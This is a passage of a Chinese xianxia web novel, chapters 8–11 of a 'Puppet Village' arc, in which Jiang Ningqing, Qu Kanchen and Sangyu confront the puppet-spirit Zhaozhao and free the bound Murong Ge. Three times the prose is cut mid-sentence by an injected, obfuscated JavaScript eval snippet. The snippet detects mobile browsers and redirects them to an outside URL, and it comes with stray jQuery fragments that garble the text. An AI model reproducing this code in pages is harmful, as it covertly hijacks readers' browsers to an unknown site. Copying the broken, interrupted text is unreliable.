作毫不在意问道:“小丫头,这么长时间了,还没问你叫什么呢。”
“我没有名字。”她边吃边道,狼吞虎咽,说这句话说得也干脆利落。
“那行,我给你取个名字吧,你叫张二丫怎么样?”
“行,那从此之后你就是我爹了。”张二丫爽快道,“你以后每天都得给我吃饭。”
于是又这么过去了八年,走南闯北坑蒙拐骗,整日饥一顿饱一顿,但张二丫过得还算知足。
直到前几日,他们进入了傀儡村。
“我们一进入村子,就来到了这个地方。”张半仙说道。
他目光有些混浊,泛着些血丝:“我毕竟靠着半吊子仙术活了半辈子了,进入这个地方就感到了不对劲。于是我把二丫推了出去。”
“怎么出去的?既然找到了出去的方法,老人家你怎么不出去?”江凝清问道。
“是村里破庙旁边的一个房子里,那间房屋的主人说可以帮我们出去,从一张空白的纸上出去。但很快就起了一阵浓雾,和刚刚那个一样,我让二丫先走。之后我便失去了记忆,只记得要离村子远一些,离远一些,别让它发现,过段时间可能就能出去了。”
张半仙盯着江凝清,过了许久才颤声道:“二丫她,是不是已经不在了?”
江凝清只能点了点头,道:“我会给她报仇的。”
张半仙笑了笑,道:“这段时间我一直没有记忆,可见到你我就觉得亲切又陌生,便想起来自己有个闺女。好孩子,你还是快离开这里吧,别送命了。”
江凝清摇了摇头,道:“世间少有能要我命的东西,其他人我也会护住的,多谢了老人家。”
她抱拳行了个礼,对桑榆和曲堪尘道:“大概就是赵月那个房间,现在去看看。”
虽然幻境里面的傀儡村和真实的傀儡村相差甚远,但也是按照现实中的傀儡村建设的,所以他们没绕多少路就找到了那个寺庙。
江凝清把桑榆和曲堪尘拦在外面,自己要进去看一看,虽然关键点在赵月的房间,但是这个寺庙估计也有些线索。
她又被曲堪尘拽住了衣角。
“又怎么了我的小狐狸?”江凝清道。
“你一个人太危险。”
江凝清笑了,道:“放心吧,这里面的鬼怪加起来都没有你危险。”
曲堪尘手指痉挛了一瞬,他松开手,道:“如果真的有什么危险,我……”
“那你就保护好桑榆,我没什么事。”
桑榆看了看他们,道:“我不需要被保护的。”
江凝清:“嗯嗯,一直以来都很让人省心的小桑榆,很厉害。”
桑榆眼睛耷拉下来一脸无语:“不要用哄小孩子的语气和我说话,还有,我也要和你一起进去。”
江凝清颇有些惊讶。
最终他们三个还是一起进去了,进入的第一眼他们就看到了伫立在正中央的神像。
不再是扶摇仙人的神像了。
神像的脸……变成了昭昭的脸。
就在此时,身后传来了熟悉的,属于昭昭的声音:
“你们在看什么?”
8. 傀儡村(8)
江凝清叹了口气,小声对桑榆和曲堪尘道:“我就说我怀疑她吧。”
“可是不是说只能进来四个人吗?她进不来的。”桑榆疑惑。
“只能进来四个人,但她不是人。”曲堪尘回答道。
江凝清转身看向昭昭。
不对。
她穿的衣服并不是进秘境时穿的那一身衣服,虽然样式有些类似,但还是能看出些许差别。而且额头上那点朱砂痣不见了踪影。
难道就在进入秘境这么短短半天她换了一身衣服吗?
昭昭脸上略微有些尴尬,她拘谨地干笑了一下,道:“你们干嘛一直看着我呀,我脸上有什么东西?”
桑榆道:“长得和雕塑一模一样欸。”
昭昭恍然大悟,道:“啊这个雕塑啊,这个其实本来是扶摇仙人的神像,后来庙塌了一次,村民们就换成我的雕塑了……每次看到都觉得怪不好意思的。”
江凝清道:“为什么换成你的雕塑?”
“啊这个……不知道啊,大家都挺喜欢我的,说要按一个雕塑上去,就刻成我的了。”
江凝清:……
感觉这句话说出来狗都不信。
偏偏昭昭丝毫没有意识到自己说的是什么鬼话,怯怯道:“真的是太不好意思了。”
曲堪尘皱眉道:“你不认识我们是谁吗?”
昭昭眨了眨眼睛,道:“知道呀,清清小姐和尘尘公子,还有卖鱼的桑榆姑娘,怎么了吗?”
“尘尘公子?”江凝清听到这个称呼后便有些想笑,她带着揶揄的意思重复了一遍,看向曲堪尘。
曲堪尘面上不为所动。
而昭昭以为是江凝清没有听懂才重复了一遍,于是微红着脸小声解释道:“尘尘公子是清清小姐的未婚夫,或者说是童养夫,我记性还是很好的。”
江凝清:……
江凝清尴尬扶额:“看来真的是完全不记得了。”
“不应该的。”曲堪尘小声道。
江凝清知道他说的是什么意思,不应该的。
进入秘境前昭昭的修为明显是大于桑榆的,而桑榆表现的一切正常,而昭昭却……完全不正常。
从江凝清见到昭昭的第一眼她便感觉有些不对劲,虽不能直接看出来她是否是鬼怪,但她给江凝清的诡异感很强。
之后进入秘境,江凝清甚至都没有想去找昭昭,她下意识觉得昭昭不会进入秘境。
而且眼前的昭昭性格也与外面的昭昭性格不同。
一个是灵动的外放的,和江凝清怼得有来有往,而眼前的这一个……
她说话声音很小,肩膀微微下塌,没说几句话便脸红,简直可以说是性情大变。
“那昭昭你是什么身份呢?”江凝清微笑问道。
“啊?”额头上没有红痣的昭昭愣了一下神,而后脸变得更红了,下意识的往后退了一步。
“我……”她说起话来磕磕巴巴,只说了一个字,便抬头看江凝清的眼色。
江凝清依旧微笑着看着她,见她后退甚至还特意往前走了一小步。
“昭昭你怎么不说话?”江凝清温声道。
“抱歉我……”昭昭犹豫了一下,最终还是道,“之前没有人这么叫我,是不是有些……太亲近了?”
江凝清依旧笑道:“怎么会太亲密呢?不叫昭昭叫什么呢?”
江凝清虽然面上没有什么变化,但心里却更加疑惑谨慎。
因为他们所有人进入秘境之后名字都变成了他们在傀儡村透露的名字,这说明这个秘境的主人是不知道他们的真实名字的。
而昭昭……她说这个称呼过于亲近,那便说明她知道自己原本的名字。
为什么呢?她以前来过傀儡村吗?
昭昭道:“直接叫我赵月就好了,嗯……叫我小月也可以。不要再叫赵赵了,赵家庄很多人都姓赵的。”
!
赵月!
那个傀儡戏师吗?
所以昭昭其实真实身份是赵月?
是赵月伪装身份特意接近他们的吗,然后又诱导他们进入这个秘境?
不,不对,这样小木偶说的“四个人”算什么?
而且又没有办法解释性情大变这件事情。
事情变得更加扑朔迷离了。
江凝清大脑飞速运转,脸上仍然挂着笑:“可能有些冒昧,我们可以去你家里看看吗?”
本来他们的目标便是去赵月的家,只是途径寺庙顺便进来看一看线索而已。
赵月点了点头,道:“可以的,只是家里有些乱。”
她把寺庙里面的香给换了一遍,又把篮子里的贡品放到神像盘子上,回眸道:“现在可以走了。”
江凝清几人跟着赵月走向她家,江凝清随口问道:“给自己的神像上贡品会不会有些奇怪?”
赵月颇为害羞地红了耳朵,嗫嚅道:“啊……是有些奇怪,每次抬头看神像都觉得奇奇怪怪的,不过只要不抬头就好了。”
桑榆问道:“那不摆贡品就好了,就看不到自己的脸了。”
“摆贡品不是给神吃的,是给路过的流浪者或者旅人垫肚子的。”赵月道。
江凝清眼神微微抬起,眸中带着些许惊讶。
她想到了她在傀儡村发现的慕容歌给赵月写的书信,上面有“才情高致,心性超然”几字。
她半开玩笑道:“世上若是你这种好人多一些,那我大概就不会修仙了。”
“为什么啊?”
江凝清带着笑意道:“我当时选择修仙就是因为饿肚子啊,修仙后便可以辟谷,再也不会饿了。”
他们已经走到赵月的家门口了,赵月一边把大门打开一边道:“这和霜刃剑尊的想法是一样的啊。”
“霜刃剑尊?”江凝清下意识问道。
“三百年前的江凝清江剑尊啦,她本命剑是霜刃剑,所以又被叫做霜刃剑尊。啊这我也是听说的,野史记载不保真的。”赵月声音低了下来。
江凝清老脸一红。
为什么她死后这种鸡毛蒜皮的东西都能被扒出来啊。
真的是,一点隐私都没有了吗?
赵月终于把大门打开,对他们道:“请进吧,随便坐就可以,我去给你们拿些点心水果。”
她转身去了厨房,屋里现在只剩下江凝清他们三个人。
江凝清坐在一个凳子上翘起腿,环顾了一下四周环境。
和秘境外面的房屋没有什么区别,各种布局装饰都非常相似,只有少数经常使用的东西换了一些位置。
正因为没有太多区别,才更加匪夷所思。
外面傀儡村其他房屋都落灰了,只有赵月的房屋看起来经常有人打扫。
他们是在赵月的房间里进入的,而张半仙也说是从赵月的房子里出去的,大概率也是在赵月的帮助下。
加上昭昭和赵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844311|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月长的一模一样,出现的原因不明。
那破局的关键点就是赵月了。
此时曲堪尘的狐狸耳朵微微动了动,他皱起眉头,凑近江凝清道:“你有没有听到什么声音?”
他这么一说江凝清立刻屏息去听,果然……有声音。
声音很小,不注意听根本听不出来,而且只是椅子碰撞地面的声音,大部分人很容易把这种声音忽略。
江凝清伸出灵力去探测,她发现了一间密封很好的地下室,就在厨房的下面。
里面有一个人,她刚刚已经用了太多灵力了,现在探测不出什么具体的结果,只能探测出来那大概是个男人,双手双脚用麻绳捆绑在椅子上。
他明显看起来并不自愿,或许是感觉到有人来了,他开始拼命挣扎。不过他不管怎么挣扎外面都很难听到他的声音。
他感受到了江凝清探测的灵力,挣扎地更厉害了。
他大概率是个修仙者。
是谁?
慕容歌吗?
江凝清站了起来晃晃悠悠走到厨房,手搭上了赵月的肩膀,道:“我来帮你吧。”
赵月被吓了一跳,而后快速小频度地点了点头:“嗯嗯,可以的,你帮我拿一下那边的盘子吧,谢谢。”
江凝清伸手把盘子拿了下来,而后扫了一眼厨房里面的东西,找了个话题道:“这白菜看起来真新鲜,是从集市上买的吗?”
“这个是隔壁三婶婶送的。”赵月道,她又指了指旁边的别的菜,“这个是二叔送的,这个是东面小姑娘送的,这个是对门奶奶送的。”
她有些腼腆地继续道:“每次大家都会送来很多东西,吃不了太可惜了。要不你们今天晚上在我这里吃饭吧。”
按理来说这句话只是一个客套话,江凝清应该推辞一番,赵月再邀请,江凝清再推辞,这样两三回后才能得出结果。
可江凝清现在不得不多留在这里一会了。
她立马开口道:“真的吗那真的是太棒了,我来帮你打下手。”
赵月抿唇笑了笑。
此时一直在悄悄竖着耳朵往厨房这边偷听的曲堪尘皱了皱眉毛,他白皙的手指非常纠结地缠着了一块,低头沉思着什么。
最终他还是起身,走到了厨房把江凝清推了出来。
江凝清:“我又不给你单独下毒,你不必这么防着我吧。”
曲堪尘幽怨地看向她,最终没有理她,自己去了厨房给赵月打下手。
江凝清耸了耸肩,回到房间里挨着桑榆坐下,道:“你看我都不担心他给我下毒,他真的是以小人之心度君子之腹。”
江凝清虽然活了五百多年,但是她其实并不知道自己做饭有多么难吃。
或者说她的对难吃的阈值太高了,她觉得自己做的饭平平无奇,事实上已经难吃的惨无人寰。
以至于曲堪尘第一次吃她做的饭的时候吃吐了,吐得昏天黑地。
当时江凝清还以为是普普通通的吃坏了肚子,偷了几副药给曲堪尘熬上了,安慰曲堪尘说等修了仙就不会对食物变质有这么大反应了。
已经吐得脱力的曲堪尘当时根本没来得及反驳她的话,只瘫软在江凝清的怀里,眼圈泛红,无力又后悔地看着江凝清。
之后就一直是曲堪尘在做饭了,逼得曲堪尘从一个从来不沾厨房的人变成了一个精通八大菜系,煎炒烹炸样样拿手的精品厨师。
真的是可喜可贺。
9. 傀儡村(9)
江凝清托腮等了一会,曲堪尘那边就把饭给做好了。
做了四个菜,两荤两素,还未把菜端进房间就能闻到一股浓郁的饭菜香味,让人食指大动。
江凝清和桑榆都算是好长时间没有吃正常的饭菜了,所以都目光灼灼地盯着厨房,眼睛时刻不离曲堪尘手上端着的菜。
曲堪尘露出来的尾巴微微翘起,把那道红烧肉放到了江凝清的身前,转身又去端别的菜。
江凝清起身把赵月手里端着的菜接了过来,和曲堪尘错身的时候小声在他耳边笑吟吟道:“是因为记得我喜欢吃红烧肉,所以特意……”
曲堪尘握着盘子的手紧了紧,他撇过脸去,道:“不是,随便做的,爱吃不吃。”
江凝清:“我当然会吃,不吃白不吃,就算是真的下毒了,在幻境里应该也没什么吧。”
江凝清刚刚想说的当然是:所以特意在她喜欢的红烧肉里面下毒,让她加大剂量多吃吧。
曲堪尘对她怒目而视,冷声道:“我哪里来的毒?我是什么很坏的人吗?随身携带毒药?”
江凝清其实说这句话也是在开玩笑,毕竟如果曲堪尘真的想在秘境里杀了她,那大概会在她用完灵力后偷袭她。
她对曲堪尘有着莫名其妙的信任,最起码在这种比较关键的时候,他不会意气用事。
所以她一直没怎么防备他,反而是一直逗弄他。
毕竟在她挖完他的仙骨之后他们就很少见面了,之后再见面也是兵戎相见喊打喊杀。少数近距离还无危害地接近一次,当然要逗弄爽了。
江凝清没想到曲堪尘是真的生气了。
他坐在江凝清的对角线处,一言不发地随便挑了两口吃的,而后便没有这么动作,一直垂眸等待着。
他其实也不算是生气。
他只是突然发现自己的情绪不对劲。
不应该的,是啊,他们应该是仇人的。
就算是隔了三百年没见面,那江凝清……江凝清离开时,他们便是仇人了。
他现在的反应,反倒是像那场大战没有发生过,江凝清也没有挖了他的仙骨把他丢出宗门留他一个人在山脚下苟延残喘一样。
江凝清一句“下毒”才把他拉到现实。
他们早就不是可以互相毫无保留信任的关系了,他们甚至要提防对方背地里使绊子。
曲堪尘紧紧抿唇,手指被他掐的发白,纤细的睫毛微微颤抖,像濒死但仍在挣扎的蝴蝶。
他想,自己不应该产生这样的情绪的,他这样心情起了又落其实根本就无人在意,只是自作多情而已。
就在此时,他碗里被夹了一筷子菜。
“怎么了,不开心吗?我开玩笑的,你在我心里其实是最善良漂亮的小狐狸。”江凝清半起身凑近他,温声道。
曲堪尘闭上眼睛深深吸了一口气,抬头看向江凝清。
江凝清还是笑着的,眼里布满了真诚。
曲堪尘知道她在说谎,江凝清她向来骗人不眨眼。
她八岁就学会怎么满脸天真无邪真诚地夸一个肥头大脸满脸麻子的中年男,说他长得一看就是有福之人,让人感觉亲切。其实只是想从他那里要几个铜板。
但曲堪尘已经不生气了,他明白江凝清的意思。
现在还不是纠缠这些东西的时候。现在关键是救人,还有解决傀儡村的这些鬼怪。
曲堪尘站起身来,道:“我吃饱了,先出去一会透透气。”
而后他便走到了院子里,靠着树站了一会。
曲堪尘刚离开,江凝清就再一次探出了灵力。
找不到可以进入厨房下面地下室的入口,甚至可以说没有半分空隙。
也就是说这并不是人力把他困在地下的,大概率是鬼怪。
那赵月在这里面又参与了什么角色呢?
江凝清回神,一副懊恼的样子皱眉对赵月道:“你看他,又闹脾气了。”
赵月睁大眼睛问道:“是刚刚发生什么矛盾了吗?”
江凝清耸了耸肩:“谁知道哪里惹到他了,整天发这种小脾气,现在还是未婚夫,真娶回家还不知道要闹成什么样子呢。”
赵月微微张嘴小声地“啊”了一声,而后干净的面上露出些许纠结的神色,她搅了搅手指,最终还是道:“要不你去劝劝他吧,稍微哄一哄……”
江凝清道:“你看起来还挺懂这些的,是也有心上人了吗?”
她在套话,现在江凝清对被困在地下的那个人唯一的猜测就是慕容歌,而慕容歌与赵月似乎有什么比较亲密的关系。
最关键的是,江凝清刚刚用灵识重新扫视的时候,她观察到被捆着的男人穿的是一身婚服。
而赵月的卧室里,刚好放着一套差不多的婚服。
赵月腼腆地笑了笑,道:“是马上就要结婚了。”
江凝清单手托腮,笑意盈盈地看向她,道:“是和谁?”
“是慕容公子,过几日你们就能吃上酒席了,啊好害羞,不要再问了,到时候就知道了。”
一直兢兢业业勤勤恳恳吃饭的桑榆抬起头来,认真疑惑:“害羞什么?”
江凝清眼中笑意加深,站起身来走到赵月身后,弯腰靠近她,玩笑般问道:“你们关系是不是特别好?怎么做到的,教教我嘛。”
赵月低头道:“其实……还好啦,慕容歌他人很好,是个君子。”
君子?好客观的评价,感觉这对即将新婚的小情侣关系一般般。
不过确实,被绑在地下室的关系大概率好不到哪里去。
江凝清心想,赵月表面上看起来文文静静的,怎么还玩强制爱那一套呢?
啊,玩得好花。
江凝清转身回头,对赵月道:“那我先去看看我家尘尘怎么样了,现在再不去哄他便该给我闹了。”
她起身往外走去,而后……走到屋里人看不到的角落,消失在了原地。
她进入了那个地下室的通道。
周围都是黑漆漆的幻境,没有一丝一毫的灯光,简直是伸手不见五指,若是普通人进来怕是不知道往哪处走了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844312|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
江凝清抬手打了个响指,一点萤火般的光出现在她的指尖,很快又在她的指尖溢散开,整个空间都染上了暖黄的色调。
江凝清一抬眼,便看到了靠着墙角抱臂的曲堪尘。
曲堪尘还是那副伪装成普通狐妖的样子,但他给人的感觉却比这副皮相漂亮很多,加上萤火的柔光,看起来更是美的惊艳。
江凝清偷偷认真观察了一下他的样子,一直搞不懂他顶着这张狐妖的大众脸为什么还是那么好看。
她认真想,或许是他睫毛比普通狐妖要长一些,手指也更骨节分明,指节如同他们以前后山种的青竹,苍劲瘦削。
曲堪尘注意到了江凝清的目光。
当然会注意到,他又不是瞎子,江凝清的目光直晃晃地打向他,让他颇有些不知所措。
他微微蹙眉,冷声道:“你在看什么?在提防我暗算你吗?”
江凝清道:“你易容效果其实也不是特别好。”
曲堪尘气笑了,他立刻快步往前走,打算把江凝清远远甩在身后。
江凝清并不会被他甩在身后,而且通道就这么点地方,很明显曲堪尘的快步走是自欺欺人的无用功。
江凝清在他身前推开了那间地下室的门。
江凝清指尖上的光芒很快就又溢满了整间地下室,那个被绑在椅子上的男人的样子被终于显露了出来。
他生地剑眉星目,本是一身正派的长相。可惜发丝凌乱双目失神,手脚被捆住,被麻绳绑着的地方几乎泛青。瘦削的身体完全撑不起来这身婚服,不显得喜庆,反而看起来颇为狼狈。
正是慕容歌。
江凝清看到慕容歌时呼吸几乎停滞一瞬,她确实未曾想过他会有这么狼狈的时候。
她甚至都想过慕容歌莫名其妙天资大涨,然后又走火入魔设下这个秘境把过往之人都困在这个地方。
未曾想过他会被……抢婚?强取豪夺?
“两位……小友,你们是从哪里来的?也是被抓过来的吗?”慕容歌断断续续道。
很明显他并不经常与人交流,嗓子都有些沙哑。
江凝清并没直接回答,而是把慕容歌身上的绳子解开,而后扶着他在地上换了个姿势坐下。
慕容歌刚想道谢,结果还未眨眼,他就看到江凝清直接坐到了他刚刚被捆着的椅子上,身体后仰翘着二郎腿。
慕容歌一时哑声。
江凝清道:“这位仙长,你记得你是什么时候被抓来这里的吗?大概都经历了什么?”
她细心补充:“如果有什么不方便说的私密的内容也可以略过的。”
慕容歌狼狈地咳嗽了两声,他抚着自己的胸口好一会,才温声道:“没什么的不方便说的,在下……在下并没有被怎么样,只是单纯的被绑起来而已。”
他继续道:“我分不清多长时间了,这里没有日月,而且秘境的时间经常变动,有时候会倒退回原来的时间线。”
慕容歌停顿了一下,继续道:“我只记得我在这个秘境里面成过十三次婚。”
10. 傀儡村(10)
“成过十三次婚?”
慕容歌点了点头,无奈笑道:“我也不知道我为什么会被抓进这里,被关进来后也只是把我绑在这个地方,什么都不过问。只有关键时刻会有一堆傀儡人拿着婚服给我换上,而后便是要大婚。”
江凝清道:“那新娘是?”
“是赵月赵姑娘,”慕容歌摇了摇头道,“不过赵姑娘大概也并不知情,因为每次结婚我的身体都会不被在下控制,表现出一副正常的样子,大概率是为了诓骗赵姑娘。”
慕容歌又换了个姿势的坐姿,他被捆着的时间太久了,需要活动一下筋骨。但是即使这样他坐得仍然很端正,真的是为难他了。
他苦笑一下:“我甚至觉得我被绑在这里也只是为了和赵姑娘成亲而已,每次和赵姑娘成亲完一段时间我是可以自由活动的,但无法做出任何挣扎。只是也不过几日,最多半月,我又要被关在这个地方,等着下一次成亲。”
江凝清摸了一下下巴,转而托腮道:“你之前说秘境时间线经常变动,那是不是每成亲一次就是新的时间线?”
慕容歌点了点头。
他继续道:“我不知道我为何会遭遇此等变故,也不知道为什么一定要和赵姑娘成亲,唯一的联系点就是在下被关进这里之前……也正在成亲。”
江凝清转头看向曲堪尘,眼睛笑了笑,道:“和那封信对上了。”
曲堪尘冷脸点了点头,淡淡道:“是。”
江凝清心里想,莫非他还在生气?
罢了,反正他们早就说仇人了,按理来说他生气了她该高兴才对。
若是她还安慰他哄他,说不定他更加生气了。真不知道这三百年发生了什么,让曲堪尘变得如此阴晴不定。
于是江凝清没有管这些,继续对慕容歌道:“那天具体发生了什么事你还记得吗?”
慕容歌轻轻点头,道:“不会忘记。”
他垂眸,睫毛在眼睛下面留下些许阴影,说实话慕容歌长得算得上是一张好皮相,品性又好,谦谦君子,整个人如同未经雕琢的玉。
即使落得这种境地,也没有什么发疯的迹象,只能说精神状态真的是相当的好。
他道:“那天在下按照礼法与金灯姑娘结为道侣,因金灯姑娘是凡人,所以很多地方按照人间的礼法,故耽误的时间久了些。只不过也只接了亲,还未拜天地,在下就忽然失去了意识,等在下再次醒来的时候,便发现自己在这里了。除此之外,在下也找不到什么异常之处。”
江凝清转头看向曲堪尘,曲堪尘道:“那是十七多年前的事情了,慕容公子那时是仙盟盟主又是玄同山掌门,去参加你大婚的人按理来说并不少,可并没有一人说过在婚礼上出现什么问题。”
慕容歌道:“在下与金灯姑娘都不喜热闹,所以大婚只邀请了几位至亲好友。”
曲堪尘道:“那也不该,这些年我从未听说过你失踪的消息,慕容家和玄同山也只说你在闭关。”
慕容歌眼里闪过讶色,他想了想,道:“这个鬼怪竟然如此厉害,两位小友大概是来清理鬼怪的吧,请万加小心。”
江凝清从椅子上下来,走到慕容歌身边,道:“慕容前辈,你现在感觉有没有好一些,我们送你先离开这个地方吧。”
慕容歌惨然一笑:“何必呢,我现在身上没有修为,现在出去也只是累赘罢了,我先留在这里吧。”
江凝清也不多做推脱,她整个人向来爽快,于是点了点头,随口道:“可以,等我们杀了幕后真凶就救你出去。”
“杀了我…好大的…口气。”
就在不远处,传来了有些熟悉的声音。
是少女的声音,断句带着傀儡木偶般的停顿,给人一种很强的非人感。
江凝清怂了怂肩,小声对曲堪尘道:“说曹操曹操到,我这气运还是不错的。”
曲堪尘别过脸去,没有说话。
他心里想,这算是什么气运?招鬼怪的气运吗?
江凝清转身,便看到一整排做工精致足以以假乱真的木偶傀儡站在地下室门口,大概有十几个,男女老少胖矮高瘦皆有,木制的眼睛一动也不动,鬼气森森地注视着他们。
这下就算是加上江凝清的萤火光滤镜看起来也并不柔和了,反倒是给他们增加了不少鬼气。
“好多啊,”江凝清道,她凑近了曲堪尘:“怎么办呢,我现在已经没有什么力气了,手里又没有剑,这么多木偶傀儡和一个最起码是厉级别的鬼怪,我打不过的。”
她嘴上说打不过情况危急,但语气却还是带着笑意,语速不紧不慢的。
周围响起一声清脆的打响指的声音,那十几个木偶人突然动作起来,飞速朝江凝清他们袭来,那些木偶人衣袂翻飞,几乎快成残影!
“两位小友小心!”慕容歌一个战斗站不起来的半残下意识想要挡在他们两个身前,却被江凝清按住。
江凝清身边形成一个圆形阵场,将他们几个身边的攻击全部挡了回去。
她转头对曲堪尘微微点头,道:“乖乖,全靠你了,我已经柔弱无力地要倒在地上了。”
说完她就又坐到了椅子上,双手抱臂看着曲堪尘。
她说的不全是假话,因为这副身体虽然能看出来是有些修仙天赋的,但是最多最多也才刚刚练气,而且亏空太多。
江凝清使用的灵力将要超过这个身体限制了,只是没有那么夸张而已。
她完全可以赤手空拳把这里的鬼怪都打趴下,但是她身体估计会造成一些损伤,到时候估计要虚弱难受上两三天。
而且……曲堪尘在这里。
她能保证在秘境里面曲堪尘不会对她动手,但是出了秘境呢?一切都解决之后,曲堪尘会不会趁着她虚弱对她动手?
他能在她重生后第二天就找到她身边,说明他的执念很大了。
真的是,都过去三百年了,还这么记仇。
江凝清撇了撇嘴,看向曲堪尘。
曲堪尘回望了一眼江凝清,什么都没有说,在江凝清撤下保护阵法的一瞬间,一声笛音在萤火光中传了出来。
一阵空灵的,清泉漱石般的声音缓缓在曲堪尘手中握着的那个雕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844313|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻着青竹花纹的白玉笛子里传了出来。
他已经变成了他原本的样子,一袭白衣挡在江凝清面前,头上只有一个玉簪和一白发带,头发松松散散挽着,好似披麻戴孝。
他腰身瘦了很多,比他刚被她废了仙骨的那段时间还要瘦,几乎盈盈一握,显得他整个衣服空荡荡的。
江凝清眸光复杂地望着他,略微有些疲惫的身体恢复的很快,她知道曲堪尘这一招。
拨雪寻春。
这一招其实很费灵力,有一定的攻击作用,但是作用不大,最大的作用是让敌人被困住半柱香的时间并给阵内人治疗。
也正是因为耗费灵力,所以曲堪尘才变回了原本的样子。
曲堪尘从芥子囊拿出一把剑,回首对江凝清道:“我没找到你的霜刃剑,你先用这把剑凑活一下吧。”
江凝清看向他的脸,他还是那么好看,容色昳丽,肤白若瓷,眼尾微挑却不显得轻挑妩媚,那上挑的一抹反倒如同弯月的勾,散着清而不冷的光。
他眉目的颜色都接近于墨色,嘴唇泛着淡淡粉色,他之前的唇色都更偏向于粉中泛红,现在不止为何有些偏白,不过这样看上去更像是山水画了。
他尾巴和耳朵都收了回去,不然会更好看一些。
江凝清也只愣神了一瞬,很快就接过剑,对曲堪尘粲然一笑,道:“好剑。”
霎时 ,万千剑影从江凝清手中的剑分散开,江凝清一挥手,剑影散去,以肉眼不可及的速度消失地无影无踪。
眼前被困住的十几个木偶似乎没什么异样,只是下一秒,他们均也消散在原地,变成了一堆木屑。
他们被削碎了,也便没有了任何重组的可能。
江凝清道:“罪过罪过,这招本来是用来对付千万只鬼怪的,对待这么十几个木偶人颇有些以大欺小了。”
她睁眼说瞎话,根本看不出任何愧疚之意,反倒语气中有几分得意。
“你到底是谁?”躲在暗处的鬼怪终于现出了身份,突然出现在江凝清面前,手直直地要掐上江凝清的咽喉。
江凝清不紧不慢地反手回击,却发现曲堪尘的速度比她还要快,那根白玉笛子直接敲在了那个鬼怪非常仿真的木偶手臂上,手臂□□脆利落地切下,截面非常平整。
“呀,小心点笛子,这又不是剑你用它敲干什么。”江凝清道。
她看向倒在地上的那个鬼怪……赵月,还是……昭昭?
鬼怪抬起眼睛,愤愤不平地看向江凝清,一字一顿地道:“你究竟,是谁?”
江凝清看向她的眼睛,下结论道:“这个是昭昭,真的很赵月长得一模一样啊,也就眼睛有点点不一样,额头上比赵月多了一点痣。”
昭昭道继续道:“你根本不是张二丫,她已经被我杀死了,你是谁,为什么会这么强……”
江凝清道:“谬赞谬赞,也不是很强,主要是你比较弱而已。至于我是谁……我是清清啊,我不是说过了吗。现在最重要的问题是……”
她把剑抵到了昭昭的脖子上,眼睛弯了弯:“你到底是谁?”
11. 傀儡村(11)
昭昭现在的样子与秘境外也有些差距,她穿着一身嫩黄色雏菊样式的襦裙,双肩披着层云纹绫罗。头上簪着日月交辉形态的钗子,又在不起眼的地方用碎发编着各种样式的细碎麻花辫。
这种精心打扮,最起码要花费两个时辰。
如果忽略掉她关节连接处那几不可察的缝隙,那便完全像一个大户人家捧在手心上的小姐了。
昭昭的本体是木偶傀儡吗?
这么一看,秘境外的昭昭其实和赵月更像,穿衣打扮都更加朴素一些。
江凝清挑眉感叹道:“啊……难道你进秘境之后就飞快迅速找到新衣服首饰开始打扮,兢兢业业装饰了两个时辰,打算以闪亮的姿态出场震撼我们?”
她说完这句话后慕容歌就笑出声来,昭昭也被气笑了,只有曲堪尘依旧没有笑。
昭昭没有回答江凝清的问题,只是道:“你要是杀了我,除了你们几个修仙之人,秘境所有人都会死。”
江凝清刚想说她自然有让所有人不死的方法,只是颇为耗费身体而已。
她还未说出口,便听到远处传来一道有些哀伤的声音:“昭昭,我也会死吗?”
是赵月。
她从顶上跳了下来,有些踉跄地站稳身子。
她大概是纯挖土下来的,所以身上灰扑扑的,和昭昭的穿衣形成鲜明对比,于是让人不至于分不清她们两个。
桑榆跟着她从顶上跳了下来,比赵月站的稳些,茫然地看着眼前的一切,又盯着慕容歌看了看,平淡的道:“金屋藏娇。”
昭昭在听到赵月的那一句话时身体便僵硬了,脸上露出无措茫然的表情。
江凝清把剑抵到她脖颈的时候她都没有这么无措。
她那张巧舌如簧的嘴终于闭上,发呆一样看向地面,不去回答赵月那个问题。
赵月扑了扑自己身上的灰尘,冲着江凝清和慕容歌一行人愧疚地笑了笑,而后又温声问了一便:“昭昭,我也会死吗?”
昭昭依旧沉默。
赵月走到昭昭跟前,看着江凝清抵在她脖子上的剑,抿了抿唇,手指纠缠地扣了扣,道:“清小姐……我,我送你们回去吧,很抱歉,我也是才恢复了意识,脑子总是一阵清醒一阵糊涂的……”
她又看向慕容歌,对他深深鞠了个躬:“很抱歉让你牵扯进来,一切都因我而起,若我能活着出去的话,要杀要剐悉听君便。”
